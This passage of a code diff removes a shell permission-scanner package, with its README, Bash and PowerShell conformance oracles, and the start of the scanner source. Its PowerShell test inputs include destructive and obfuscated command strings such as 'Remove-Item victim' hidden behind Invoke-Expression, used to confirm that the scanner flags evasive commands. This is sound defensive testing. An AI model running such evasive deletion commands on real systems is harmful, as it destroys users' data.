expect(inlineCodeKind(`<SessionQuestionDock request={request} ... />`)).toBeUndefined()
|
||||
expect(inlineCodeKind(`from sync.data.question + sync.data.session.`)).toBeUndefined()
|
||||
expect(inlineCodeKind(`from sync.data.form + sync.data.session.`)).toBeUndefined()
|
||||
expect(inlineCodeKind(`@opencode-ai/app <StatusPopover />)`)).toBeUndefined()
|
||||
expect(inlineCodeKind(`sync.data.session`)).toBeUndefined()
|
||||
expect(inlineCodeKind(`window.api`)).toBeUndefined()
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
{
|
||||
"$schema": "https://json.schemastore.org/package.json",
|
||||
"name": "@opencode-ai/shell-scan",
|
||||
"version": "0.0.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"exports": {
|
||||
".": "./src/index.ts"
|
||||
},
|
||||
"scripts": {
|
||||
"research:execution": "bun run research/execution-oracle.ts",
|
||||
"research:powershell": "bun run research/powershell-conformance.ts",
|
||||
"test": "bun test --only-failures",
|
||||
"typecheck": "tsgo --noEmit"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tsconfig/bun": "catalog:",
|
||||
"@types/bun": "catalog:",
|
||||
"@typescript/native-preview": "catalog:"
|
||||
}
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
# Shell Permission Scanner Research
|
||||
|
||||
## Goal
|
||||
|
||||
Produce reusable permission resources only when every shell-language command position in supported Bash and PowerShell subsets is statically identified. Unsupported or malformed shell syntax must be opaque.
|
||||
|
||||
This scanner does not interpret command-specific argument languages. Source files, callbacks, plugins, package scripts, remote commands, and other executable behavior delegated through an allowed program remain part of that program's permission boundary.
|
||||
|
||||
## Conformance
|
||||
|
||||
```sh
|
||||
bun run research:execution
|
||||
PWSH=/path/to/pwsh bun run research:powershell
|
||||
```
|
||||
|
||||
The execution oracle runs generated programs against isolated fake executables under Bash and zsh, validating shell syntax and comparing actual dispatches with scanner command heads. The PowerShell oracle uses the official `System.Management.Automation.Language.Parser` through a development-only `pwsh` subprocess. Neither oracle is a runtime dependency.
|
||||
|
||||
## Supported subset
|
||||
|
||||
- Static command names and arguments
|
||||
- Single and double quotes
|
||||
- Backslash escapes and line continuation
|
||||
- `&&`, `||`, `;`, newline, `|`, and `|&`
|
||||
- Static assignment prefixes
|
||||
- Simple redirects
|
||||
- Comments
|
||||
- Recursive Bash `$()` and backtick command substitutions when every nested command is supported
|
||||
|
||||
## Opaque subset
|
||||
|
||||
- Bash process substitution and arithmetic expansion
|
||||
- PowerShell subexpressions, arrays, scriptblocks, and here strings
|
||||
- Heredocs and here strings
|
||||
- Dynamic command names
|
||||
- Shell evaluators and command wrappers
|
||||
- Commands that consume source, callbacks, scripts, or mutate command resolution
|
||||
- Context-dependent directory changes that cannot be resolved before execution
|
||||
- Compound and background commands
|
||||
- Malformed syntax
|
||||
|
||||
The TUI's independent tree-sitter grammar remains for syntax highlighting. Core has no tree-sitter runtime dependency.
|
||||
@@ -1,320 +0,0 @@
|
||||
import { chmodSync, mkdtempSync, mkdirSync, rmSync, symlinkSync } from "node:fs"
|
||||
import { tmpdir } from "node:os"
|
||||
import { join } from "node:path"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
const shells = [
|
||||
{ name: "bash", path: "/opt/homebrew/bin/bash", args: ["--noprofile", "--norc"], strict: true },
|
||||
{ name: "bash-system", path: "/bin/bash", args: ["--noprofile", "--norc"], strict: false },
|
||||
{ name: "zsh", path: "/bin/zsh", args: ["-f"], strict: true },
|
||||
] as const
|
||||
|
||||
const commands = ["oracle_alpha", "oracle_beta", "oracle_gamma", "oracle_fail"] as const
|
||||
const successes = commands.slice(0, 3)
|
||||
const cases = new Map<string, Set<string>>()
|
||||
|
||||
function add(category: string, source: string) {
|
||||
const categories = cases.get(source) ?? new Set<string>()
|
||||
categories.add(category)
|
||||
cases.set(source, categories)
|
||||
}
|
||||
|
||||
const arguments_ = [
|
||||
"",
|
||||
" plain",
|
||||
" 'single ; | && # $(oracle_gamma)'",
|
||||
' "double ; | && #"',
|
||||
" escaped\\;separator",
|
||||
" hash#inside",
|
||||
" 'two words' tail",
|
||||
' "dollar $HOME"',
|
||||
" backslash\\ space",
|
||||
] as const
|
||||
const assignments = ["", "X=plain ", "X='two words' ", 'X="two words" '] as const
|
||||
const redirects = ["", " > output", " 2> error", " < empty"] as const
|
||||
|
||||
for (const command of commands) {
|
||||
for (const assignment of assignments) {
|
||||
for (const argument of arguments_) {
|
||||
for (const redirect of redirects) add("simple", assignment + command + argument + redirect)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"] as const
|
||||
for (const left of commands) {
|
||||
for (const separator of separators) {
|
||||
for (const right of successes) add("separator", left + separator + right + " final")
|
||||
}
|
||||
}
|
||||
|
||||
const substitutions = [
|
||||
(outer: string, inner: string) => `${outer} $(${inner})`,
|
||||
(outer: string, inner: string) => `${outer} "$(${inner})"`,
|
||||
(outer: string, inner: string) => `${outer} pre$(${inner})post`,
|
||||
(outer: string, inner: string) => `X=$(${inner}) ${outer}`,
|
||||
(outer: string, inner: string) => `${outer} >$(${inner})`,
|
||||
(outer: string, inner: string) => `${outer} \`${inner}\``,
|
||||
(outer: string, inner: string) => `${outer} "$(${inner} "$(oracle_gamma)")"`,
|
||||
(outer: string, inner: string) => `${outer} "$(${inner} one; oracle_gamma two)"`,
|
||||
] as const
|
||||
for (const outer of successes) {
|
||||
for (const inner of commands) {
|
||||
for (const substitution of substitutions) add("substitution", substitution(outer, inner))
|
||||
}
|
||||
}
|
||||
|
||||
for (const command of successes) {
|
||||
add("comment", `${command} before # oracle_fail ignored\noracle_beta after`)
|
||||
add("comment", `# ${command} ignored\noracle_beta after`)
|
||||
add("comment", `${command} hash#word # oracle_fail ignored`)
|
||||
add("continuation", `${command} before\\\nafter`)
|
||||
add("continuation", `${command} before \\\n after ; oracle_beta`)
|
||||
add("quote", `'${command}' quoted-head`)
|
||||
add("quote", `"${command}" quoted-head`)
|
||||
add("quote", `${command.slice(0, 7)}\\${command.slice(7)} escaped-head`)
|
||||
}
|
||||
|
||||
add("conditional", "oracle_fail || oracle_alpha recovered")
|
||||
add("conditional", "oracle_fail && oracle_alpha unreachable")
|
||||
add("conditional", "oracle_alpha || oracle_fail unreachable")
|
||||
add("conditional", "oracle_alpha && oracle_beta reached")
|
||||
add("dynamic", "NAME=oracle_alpha; $NAME dynamic-head")
|
||||
add("dynamic", "oracle_alpha $(NAME=oracle_beta; $NAME nested-dynamic)")
|
||||
add("literal", "oracle_alpha '$(oracle_fail)' 'literal ` text'")
|
||||
|
||||
let randomState = 0x5eed1234
|
||||
const random = (length: number) => {
|
||||
randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
|
||||
return randomState % length
|
||||
}
|
||||
const atoms = [
|
||||
...commands,
|
||||
...successes.map((command) => `${command} plain`),
|
||||
...successes.map((command) => `${command} 'literal ; | #'`),
|
||||
...successes.map((command) => `${command} \"literal ; | #\"`),
|
||||
...successes.map((command) => `X=value ${command}`),
|
||||
] as const
|
||||
for (let iteration = 0; iteration < 2_500; iteration++) {
|
||||
const left = `${atoms[random(atoms.length)]} fuzz${iteration}`
|
||||
const right = `${atoms[random(atoms.length)]} fuzz${iteration}`
|
||||
const nested = successes[random(successes.length)]
|
||||
const forms = [
|
||||
`${left}${separators[random(separators.length)]}${right}`,
|
||||
`${left} $(${right})`,
|
||||
`${left} \"$(${right})\"`,
|
||||
`${left} pre$(${right})post`,
|
||||
`X=$(${right}) ${left}`,
|
||||
`${left} $(${right}; ${nested})`,
|
||||
`${left} before # ignored\n${right}`,
|
||||
`${left} before\\\nafter; ${right}`,
|
||||
]
|
||||
add("deterministic-random", forms[iteration % forms.length])
|
||||
}
|
||||
|
||||
const executionCases = [...cases].map(([source, categories], caseIndex) => {
|
||||
let occurrence = 0
|
||||
const names: string[] = []
|
||||
const unique = source.replace(/\boracle_(\\?)(?:alpha|beta|gamma|fail)\b/g, (_, escaped: string) => {
|
||||
const name = `oracle_${caseIndex}_${occurrence++}`
|
||||
names.push(name)
|
||||
if (!escaped) return name
|
||||
return name.slice(0, -1) + "\\" + name.at(-1)
|
||||
})
|
||||
return { source: unique, categories, names }
|
||||
})
|
||||
|
||||
const root = mkdtempSync(join(tmpdir(), "shell-scan-execution-oracle-"))
|
||||
const bin = join(root, "bin")
|
||||
const work = join(root, "work")
|
||||
const log = join(root, "dispatch.log")
|
||||
mkdirSync(bin)
|
||||
mkdirSync(work)
|
||||
await Bun.write(join(work, "empty"), "")
|
||||
await Bun.write(
|
||||
join(bin, "oracle-command"),
|
||||
`#!/bin/sh
|
||||
name=\${0##*/}
|
||||
printf '%s\\n' "$name" >> "$ORACLE_LOG"
|
||||
printf '%s\\n' "$name"
|
||||
[ "$ORACLE_MODE" = failure ] && exit 1
|
||||
`,
|
||||
)
|
||||
chmodSync(join(bin, "oracle-command"), 0o755)
|
||||
for (const name of executionCases.flatMap((item) => item.names)) symlinkSync("oracle-command", join(bin, name))
|
||||
|
||||
type Finding = {
|
||||
shell: string
|
||||
categories: string[]
|
||||
source: string
|
||||
dispatched: string[]
|
||||
scanned: string[]
|
||||
missing: string[]
|
||||
status: number
|
||||
stderr: string
|
||||
reason: "dispatch" | "parse"
|
||||
}
|
||||
|
||||
const findings: Finding[] = []
|
||||
const metrics = Object.fromEntries(
|
||||
shells.map((shell) => [shell.name, { executed: 0, parsed: 0, scanned: 0, opaque: 0, dispatches: 0, violations: 0 }]),
|
||||
)
|
||||
const coverage = Object.fromEntries(
|
||||
shells.flatMap((shell) =>
|
||||
[...new Set(executionCases.flatMap((item) => [...item.categories]))].map((category) => [
|
||||
`${shell.name}:${category}`,
|
||||
{ scanned: 0, dispatches: 0 },
|
||||
]),
|
||||
),
|
||||
)
|
||||
const versions = Object.fromEntries(
|
||||
shells.map((shell) => {
|
||||
const version = Bun.spawnSync([shell.path, "--version"], { stdout: "pipe", stderr: "pipe" })
|
||||
return [shell.name, (version.stdout.toString() || version.stderr.toString()).split("\n")[0]?.trim()]
|
||||
}),
|
||||
)
|
||||
|
||||
try {
|
||||
for (const shell of shells) {
|
||||
for (const { source, categories } of executionCases) {
|
||||
const result = ShellScan.scan(source)
|
||||
const metric = metrics[shell.name]
|
||||
metric.executed++
|
||||
const parsed = Bun.spawnSync([shell.path, ...shell.args, "-n", "-c", source], {
|
||||
cwd: work,
|
||||
env: { HOME: root, PATH: bin, ZDOTDIR: root },
|
||||
stdin: "ignore",
|
||||
stdout: "ignore",
|
||||
stderr: "pipe",
|
||||
})
|
||||
if (parsed.exitCode === 0) metric.parsed++
|
||||
if (result.kind === "scanned" && parsed.exitCode !== 0 && shell.strict) {
|
||||
metric.violations++
|
||||
findings.push({
|
||||
shell: shell.name,
|
||||
categories: [...categories],
|
||||
source,
|
||||
dispatched: [],
|
||||
scanned: result.commands.map((command) => command.words[0] ?? ""),
|
||||
missing: [],
|
||||
status: parsed.exitCode,
|
||||
stderr: parsed.stderr.toString().trim(),
|
||||
reason: "parse",
|
||||
})
|
||||
continue
|
||||
}
|
||||
if (parsed.exitCode !== 0) continue
|
||||
if (result.kind === "opaque") {
|
||||
metric.opaque++
|
||||
continue
|
||||
}
|
||||
metric.scanned++
|
||||
const dispatched = new Set<string>()
|
||||
let status = 0
|
||||
let stderr = ""
|
||||
for (const mode of ["success", "failure"]) {
|
||||
await Bun.write(log, "")
|
||||
const execution = Bun.spawnSync([shell.path, ...shell.args, "-c", source], {
|
||||
cwd: work,
|
||||
env: { HOME: root, PATH: bin, ORACLE_LOG: log, ORACLE_MODE: mode, ZDOTDIR: root },
|
||||
stdin: "ignore",
|
||||
stdout: "ignore",
|
||||
stderr: "pipe",
|
||||
})
|
||||
status = execution.exitCode
|
||||
stderr = execution.stderr.toString().trim()
|
||||
if (execution.exitCode === 127 || /command not found|not found/i.test(execution.stderr.toString())) {
|
||||
metric.violations++
|
||||
findings.push({
|
||||
shell: shell.name,
|
||||
categories: [...categories],
|
||||
source,
|
||||
dispatched: [...dispatched],
|
||||
scanned: result.commands.map((command) => command.words[0] ?? ""),
|
||||
missing: [],
|
||||
status: execution.exitCode,
|
||||
stderr: execution.stderr.toString().trim(),
|
||||
reason: "dispatch",
|
||||
})
|
||||
}
|
||||
for (const name of (await Bun.file(log).text()).split("\n").filter(Boolean)) dispatched.add(name)
|
||||
}
|
||||
metric.dispatches += dispatched.size
|
||||
for (const category of categories) {
|
||||
coverage[`${shell.name}:${category}`].scanned++
|
||||
coverage[`${shell.name}:${category}`].dispatches += dispatched.size
|
||||
}
|
||||
const remaining = new Set(result.commands.map((command) => command.words[0] ?? ""))
|
||||
const missing = [...dispatched].filter((name) => {
|
||||
return !remaining.has(name)
|
||||
})
|
||||
if (!missing.length) continue
|
||||
metric.violations++
|
||||
findings.push({
|
||||
shell: shell.name,
|
||||
categories: [...categories],
|
||||
source,
|
||||
dispatched: [...dispatched],
|
||||
scanned: result.commands.map((command) => command.words[0] ?? ""),
|
||||
missing,
|
||||
status,
|
||||
stderr,
|
||||
reason: "dispatch",
|
||||
})
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
|
||||
for (const shell of shells) {
|
||||
const metric = metrics[shell.name]
|
||||
if (metric.scanned < 2_000 || metric.dispatches < 4_000) {
|
||||
throw new Error(
|
||||
`${shell.name} coverage fell below floor: ${metric.scanned} scanned, ${metric.dispatches} dispatches`,
|
||||
)
|
||||
}
|
||||
for (const category of [
|
||||
"simple",
|
||||
"separator",
|
||||
"substitution",
|
||||
"comment",
|
||||
"continuation",
|
||||
"conditional",
|
||||
"literal",
|
||||
"deterministic-random",
|
||||
]) {
|
||||
const item = coverage[`${shell.name}:${category}`]
|
||||
if (!item || item.scanned === 0 || item.dispatches === 0)
|
||||
throw new Error(`${shell.name}:${category} has no scanned dispatch coverage`)
|
||||
}
|
||||
}
|
||||
|
||||
console.log(
|
||||
JSON.stringify(
|
||||
{
|
||||
schema: 1,
|
||||
invariant: "For scanned results, every uniquely named fake-executable dispatch appears in scanned command heads.",
|
||||
generated: executionCases.length,
|
||||
categories: Object.fromEntries(
|
||||
[...new Set([...cases.values()].flatMap((categories) => [...categories]))].map((category) => [
|
||||
category,
|
||||
[...cases.values()].filter((categories) => categories.has(category)).length,
|
||||
]),
|
||||
),
|
||||
shells: shells.map((shell) => ({
|
||||
name: shell.name,
|
||||
path: shell.path,
|
||||
version: versions[shell.name],
|
||||
strictSyntax: shell.strict,
|
||||
metrics: metrics[shell.name],
|
||||
})),
|
||||
coverage,
|
||||
findings,
|
||||
},
|
||||
null,
|
||||
2,
|
||||
),
|
||||
)
|
||||
|
||||
if (findings.length) process.exitCode = 1
|
||||
@@ -1,155 +0,0 @@
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
const pwsh = process.env.PWSH ?? Bun.which("pwsh")
|
||||
if (!pwsh) {
|
||||
console.error("Set PWSH to a PowerShell executable")
|
||||
process.exit(2)
|
||||
}
|
||||
const versionProcess = Bun.spawnSync(
|
||||
[pwsh, "-NoProfile", "-NonInteractive", "-Command", "$PSVersionTable.PSVersion.Major"],
|
||||
{ stdout: "pipe", stderr: "pipe" },
|
||||
)
|
||||
const oracleMajor = Number(versionProcess.stdout.toString().trim())
|
||||
if (versionProcess.exitCode !== 0 || !Number.isInteger(oracleMajor) || oracleMajor < 5)
|
||||
throw new Error(`PowerShell 5 or newer required: ${versionProcess.stderr.toString().trim()}`)
|
||||
|
||||
const commands = ["Get-ChildItem", "Write-Output", "Remove-Item", "Test-Path"] as const
|
||||
const arguments_ = ["", " value", " 'single ; | # text'", ' "double ; | # text"', " foo`;bar"] as const
|
||||
const separators = [";", "|", ...(oracleMajor >= 7 ? ["&&", "||"] : []), "\n", "\r", "\r\n"] as const
|
||||
const sources = new Set<string>()
|
||||
|
||||
for (const command of commands) {
|
||||
for (const argument of arguments_) sources.add(command + argument)
|
||||
}
|
||||
for (const left of commands) {
|
||||
for (const separator of separators) {
|
||||
for (const right of commands) sources.add(`${left} left${separator}${right} right`)
|
||||
}
|
||||
}
|
||||
for (const command of commands) {
|
||||
sources.add(`# comment\n${command}`)
|
||||
sources.add(`# comment\r${command}`)
|
||||
sources.add(`# comment\r\n${command}`)
|
||||
sources.add(`${command} before # ignored\nWrite-Output after`)
|
||||
sources.add(`${command} before # ignored\rWrite-Output after`)
|
||||
sources.add(`${command} before # ignored\r\nWrite-Output after`)
|
||||
sources.add(`${command} one > output.txt`)
|
||||
sources.add(`${command} one 2>&1`)
|
||||
sources.add(`${command} one\n\nWrite-Output two`)
|
||||
}
|
||||
|
||||
const unsupported = [
|
||||
"$Command value",
|
||||
"& $Command value",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"return Remove-Item victim",
|
||||
"throw Get-ChildItem",
|
||||
"[string]$x = Remove-Item victim",
|
||||
"Invoke-`\nExpression 'Remove-Item victim'",
|
||||
"<# comment #> Remove-Item victim",
|
||||
"#Requires -Modules Evil\nWrite-Output ok",
|
||||
] as const
|
||||
for (const source of unsupported) sources.add(source)
|
||||
const malformed = ['Write-Output "unterminated', "Get-ChildItem |", "Write-Output ok`", "Get-ChildItem &&"] as const
|
||||
for (const source of malformed) sources.add(source)
|
||||
|
||||
let randomState = 0x50a7e11
|
||||
const random = (length: number) => {
|
||||
randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
|
||||
return randomState % length
|
||||
}
|
||||
for (let iteration = 0; iteration < 2_500; iteration++) {
|
||||
const left = commands[random(commands.length)]
|
||||
const right = commands[random(commands.length)]
|
||||
const separator = separators[random(separators.length)]
|
||||
const argument = arguments_[random(arguments_.length)]
|
||||
const forms = [
|
||||
`${left} fuzz${iteration}${separator}${right}${argument}`,
|
||||
`${left.toLowerCase()} fuzz${iteration}${separator}${right.toUpperCase()}${argument}`,
|
||||
`${left} fuzz${iteration} > output${iteration}; ${right}${argument}`,
|
||||
`${left} fuzz${iteration} # ignored\n${right}${argument}`,
|
||||
`${left} fuzz${iteration} # ignored\r${right}${argument}`,
|
||||
`${left} fuzz${iteration} # ignored\r\n${right}${argument}`,
|
||||
`${left}\`\n fuzz${iteration}; ${right}${argument}`,
|
||||
`Microsoft.PowerShell.Management\\${left} fuzz${iteration}; ${right}${argument}`,
|
||||
]
|
||||
sources.add(forms[random(forms.length)])
|
||||
}
|
||||
|
||||
const process_ = Bun.spawnSync([pwsh, "-NoProfile", "-NonInteractive", "-File", "research/powershell-oracle.ps1"], {
|
||||
cwd: import.meta.dir + "/..",
|
||||
stdin: new TextEncoder().encode(JSON.stringify([...sources])),
|
||||
stdout: "pipe",
|
||||
stderr: "pipe",
|
||||
})
|
||||
if (process_.exitCode !== 0) {
|
||||
console.error(process_.stderr.toString())
|
||||
process.exit(process_.exitCode)
|
||||
}
|
||||
|
||||
const oracle = JSON.parse(process_.stdout.toString()) as {
|
||||
version: string
|
||||
results: Array<{
|
||||
source: string
|
||||
commands: Array<{ name: string | null; text: string; start: number; end: number }>
|
||||
errors: string[]
|
||||
}>
|
||||
}
|
||||
const version = Number(oracle.version.split(".")[0])
|
||||
if (version !== oracleMajor)
|
||||
throw new Error(`PowerShell version changed during oracle run: ${oracleMajor} to ${oracle.version}`)
|
||||
const returned = new Set(oracle.results.map((result) => result.source))
|
||||
if (
|
||||
oracle.results.length !== sources.size ||
|
||||
returned.size !== sources.size ||
|
||||
[...sources].some((source) => !returned.has(source))
|
||||
)
|
||||
throw new Error(`PowerShell oracle returned ${oracle.results.length} results for ${sources.size} unique sources`)
|
||||
const evaluated = oracle.results.map((item) => ({ item, scanned: ShellScan.scanPowerShell(item.source) }))
|
||||
const findings = evaluated.flatMap(({ item, scanned }) => {
|
||||
if (unsupported.includes(item.source as (typeof unsupported)[number]) && scanned.kind !== "opaque")
|
||||
return [{ source: item.source, reason: "unsupported-scanned", expected: [], actual: [], missing: [] }]
|
||||
if (item.errors.length > 0)
|
||||
return scanned.kind === "opaque"
|
||||
? []
|
||||
: [{ source: item.source, reason: "malformed-scanned", expected: [], actual: [], missing: item.errors }]
|
||||
if (scanned.kind === "opaque") return []
|
||||
if (item.commands.some((command) => command.name === null))
|
||||
return [{ source: item.source, reason: "dynamic-head-scanned", expected: [], actual: [], missing: [] }]
|
||||
const expected = item.commands.map((command) => normalize(command.name ?? ""))
|
||||
const actual = scanned.commands.map((command) => normalize(command.words[0] ?? ""))
|
||||
let index = 0
|
||||
const missing = expected.filter((name) => {
|
||||
while (index < actual.length && actual[index] !== name) index++
|
||||
if (index >= actual.length) return true
|
||||
index++
|
||||
return false
|
||||
})
|
||||
const invalidExtent = item.commands.find((command) => item.source.slice(command.start, command.end) !== command.text)
|
||||
if (invalidExtent)
|
||||
return [{ source: item.source, reason: "invalid-extent", expected, actual, missing: [invalidExtent.text] }]
|
||||
return missing.length > 0 ? [{ source: item.source, reason: "missing-command", expected, actual, missing }] : []
|
||||
})
|
||||
const scannedCount = evaluated.filter(({ scanned }) => scanned.kind === "scanned").length
|
||||
if (scannedCount < 1_900) throw new Error(`PowerShell scanned coverage fell below floor: ${scannedCount}`)
|
||||
|
||||
console.log(
|
||||
JSON.stringify(
|
||||
{
|
||||
schema: 1,
|
||||
powershell: oracle.version,
|
||||
generated: sources.size,
|
||||
parsed: oracle.results.filter((result) => result.errors.length === 0).length,
|
||||
scanned: scannedCount,
|
||||
violations: findings.length,
|
||||
findings,
|
||||
},
|
||||
null,
|
||||
2,
|
||||
),
|
||||
)
|
||||
if (findings.length > 0) process.exitCode = 1
|
||||
|
||||
function normalize(name: string) {
|
||||
return name.replace(/`?[\r\n]+/g, "").toLowerCase()
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$sources = [Console]::In.ReadToEnd() | ConvertFrom-Json
|
||||
$results = foreach ($source in $sources) {
|
||||
$tokens = $null
|
||||
$errors = $null
|
||||
$ast = [System.Management.Automation.Language.Parser]::ParseInput($source, [ref] $tokens, [ref] $errors)
|
||||
$commands = $ast.FindAll(
|
||||
{ param($node) $node -is [System.Management.Automation.Language.CommandAst] },
|
||||
$true
|
||||
) | ForEach-Object {
|
||||
[pscustomobject]@{
|
||||
name = $_.GetCommandName()
|
||||
text = $_.Extent.Text
|
||||
start = $_.Extent.StartOffset
|
||||
end = $_.Extent.EndOffset
|
||||
}
|
||||
}
|
||||
[pscustomobject]@{
|
||||
source = $source
|
||||
commands = @($commands)
|
||||
errors = @($errors | ForEach-Object { $_.Message })
|
||||
}
|
||||
}
|
||||
|
||||
[pscustomobject]@{
|
||||
version = $PSVersionTable.PSVersion.ToString()
|
||||
results = @($results)
|
||||
} | ConvertTo-Json -Depth 6 -Compress
|
||||
@@ -1,703 +0,0 @@
|
||||
export * as ShellScan from "./index.js"
|
||||
|
||||
export type OpaqueReason =
|
||||
| "command-substitution"
|
||||
| "compound-command"
|
||||
| "command-wrapper"
|
||||
| "dynamic-command-name"
|
||||
| "dynamic-directory"
|
||||
| "dynamic-execution"
|
||||
| "heredoc"
|
||||
| "invalid-redirect"
|
||||
| "invalid-structure"
|
||||
| "shell-evaluation"
|
||||
| "unterminated-escape"
|
||||
| "unterminated-quote"
|
||||
|
||||
export type Result =
|
||||
| { kind: "scanned"; commands: Array<{ resource: string; words: string[] }> }
|
||||
| { kind: "opaque"; reason: OpaqueReason }
|
||||
|
||||
const BASH_COMPOUND_KEYWORDS = new Set([
|
||||
"if",
|
||||
"then",
|
||||
"elif",
|
||||
"else",
|
||||
"fi",
|
||||
"for",
|
||||
"while",
|
||||
"until",
|
||||
"case",
|
||||
"select",
|
||||
"function",
|
||||
"do",
|
||||
"done",
|
||||
"coproc",
|
||||
])
|
||||
const POWERSHELL_LOCATIONS = new Set(["set-location", "cd", "chdir", "sl", "push-location"])
|
||||
const POWERSHELL_ALIASES: Record<string, string> = {
|
||||
"%": "foreach-object",
|
||||
"?": "where-object",
|
||||
ac: "add-content",
|
||||
asnp: "add-pssnapin",
|
||||
cli: "clear-item",
|
||||
clc: "clear-content",
|
||||
copy: "copy-item",
|
||||
cp: "copy-item",
|
||||
cpi: "copy-item",
|
||||
del: "remove-item",
|
||||
erase: "remove-item",
|
||||
etsn: "enter-pssession",
|
||||
foreach: "foreach-object",
|
||||
icm: "invoke-command",
|
||||
ihy: "invoke-history",
|
||||
ii: "invoke-item",
|
||||
ipal: "import-alias",
|
||||
ipmo: "import-module",
|
||||
ipsn: "import-pssession",
|
||||
mi: "move-item",
|
||||
move: "move-item",
|
||||
mv: "move-item",
|
||||
nal: "new-alias",
|
||||
ni: "new-item",
|
||||
nmo: "new-module",
|
||||
r: "invoke-history",
|
||||
rd: "remove-item",
|
||||
ren: "rename-item",
|
||||
ri: "remove-item",
|
||||
rm: "remove-item",
|
||||
rmdir: "remove-item",
|
||||
rni: "rename-item",
|
||||
rmo: "remove-module",
|
||||
rsnp: "remove-pssnapin",
|
||||
sajb: "start-job",
|
||||
sal: "set-alias",
|
||||
saps: "start-process",
|
||||
sbp: "set-psbreakpoint",
|
||||
sc: "set-content",
|
||||
si: "set-item",
|
||||
start: "start-process",
|
||||
pushd: "push-location",
|
||||
trcm: "trace-command",
|
||||
where: "where-object",
|
||||
}
|
||||
const MAX_BASH_INPUT_LENGTH = 64 * 1024
|
||||
const MAX_SUBSTITUTION_DEPTH = 32
|
||||
|
||||
export function scan(input: string): Result {
|
||||
return scanBash(input, 0)
|
||||
}
|
||||
|
||||
function scanBash(input: string, depth: number): Result {
|
||||
if (input.length > MAX_BASH_INPUT_LENGTH) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const group = bashLeadingGroup(input)
|
||||
if (group) {
|
||||
if (depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const nested = scanBash(group.source, depth + 1)
|
||||
if (nested.kind === "opaque") return nested
|
||||
const suffix = input.slice(group.end + 1).trim()
|
||||
if (!suffix) return nested
|
||||
const separator = /^(?:&&|\|\||\|&|[;&|])/.exec(suffix)?.[0]
|
||||
const remaining = separator ? suffix.slice(separator.length).trim() : suffix
|
||||
if (separator && !remaining) return nested
|
||||
const prefixed = separator ? remaining : /^[<>]/.test(remaining) ? `: ${remaining}` : undefined
|
||||
if (!prefixed) return { kind: "opaque", reason: "compound-command" }
|
||||
const rest = scanBash(prefixed, depth + 1)
|
||||
if (rest.kind === "opaque") return rest
|
||||
return {
|
||||
kind: "scanned",
|
||||
commands: nested.commands.concat(rest.commands.filter((command) => command.words[0] !== ":")),
|
||||
}
|
||||
}
|
||||
const commands: Array<{ resource: string; words: string[] }> = []
|
||||
const nestedCommands: Array<{ resource: string; words: string[] }> = []
|
||||
const words: string[] = []
|
||||
const assignmentWords: boolean[] = []
|
||||
let word = ""
|
||||
let wordStarted = false
|
||||
let assignmentWord = false
|
||||
let assignmentHeadUnsafe = false
|
||||
let segment = 0
|
||||
let quote: "single" | "double" | undefined
|
||||
let dynamicWord = false
|
||||
let compound = false
|
||||
let invalidRedirect = false
|
||||
let invalidStructure = false
|
||||
let separated = false
|
||||
let comment: number | undefined
|
||||
let heredoc = false
|
||||
let redirectTarget = false
|
||||
let hasRedirect = false
|
||||
let terminalBackground = false
|
||||
|
||||
const finishWord = () => {
|
||||
if (!wordStarted) return
|
||||
if (!redirectTarget) {
|
||||
words.push(word)
|
||||
assignmentWords.push(assignmentWord)
|
||||
}
|
||||
redirectTarget = false
|
||||
word = ""
|
||||
wordStarted = false
|
||||
assignmentWord = false
|
||||
assignmentHeadUnsafe = false
|
||||
}
|
||||
const finishCommand = (end: number, boundary = false) => {
|
||||
finishWord()
|
||||
const resource = input.slice(segment, end).trim()
|
||||
const name = assignmentWords.findIndex((assignment) => !assignment)
|
||||
if (name >= 0 && /[*?[]/.test(words[name])) compound = true
|
||||
if (resource && name >= 0)
|
||||
commands.push({
|
||||
resource,
|
||||
words: words.slice(name),
|
||||
})
|
||||
else if (!(assignmentWords.length > 0 && assignmentWords.every(Boolean)) && (hasRedirect || boundary || separated))
|
||||
invalidStructure = true
|
||||
words.length = 0
|
||||
assignmentWords.length = 0
|
||||
separated = true
|
||||
hasRedirect = false
|
||||
}
|
||||
|
||||
for (let index = 0; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
wordStarted = true
|
||||
if (char === "'") quote = undefined
|
||||
else word += char
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
wordStarted = true
|
||||
if (char === '"') quote = undefined
|
||||
else if (char === "\\" && index + 1 < input.length) word += input[++index]
|
||||
else if ((char === "$" && input[index + 1] === "(") || char === "`") {
|
||||
const substitution = bashSubstitution(input, index)
|
||||
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
|
||||
const result = scanBash(substitution.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands)
|
||||
word += input.slice(index, substitution.end + 1)
|
||||
index = substitution.end
|
||||
} else {
|
||||
if (char === "$" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$") dynamicWord = true
|
||||
word += char
|
||||
}
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
wordStarted = true
|
||||
if (!assignmentWord) assignmentHeadUnsafe = true
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = "double"
|
||||
wordStarted = true
|
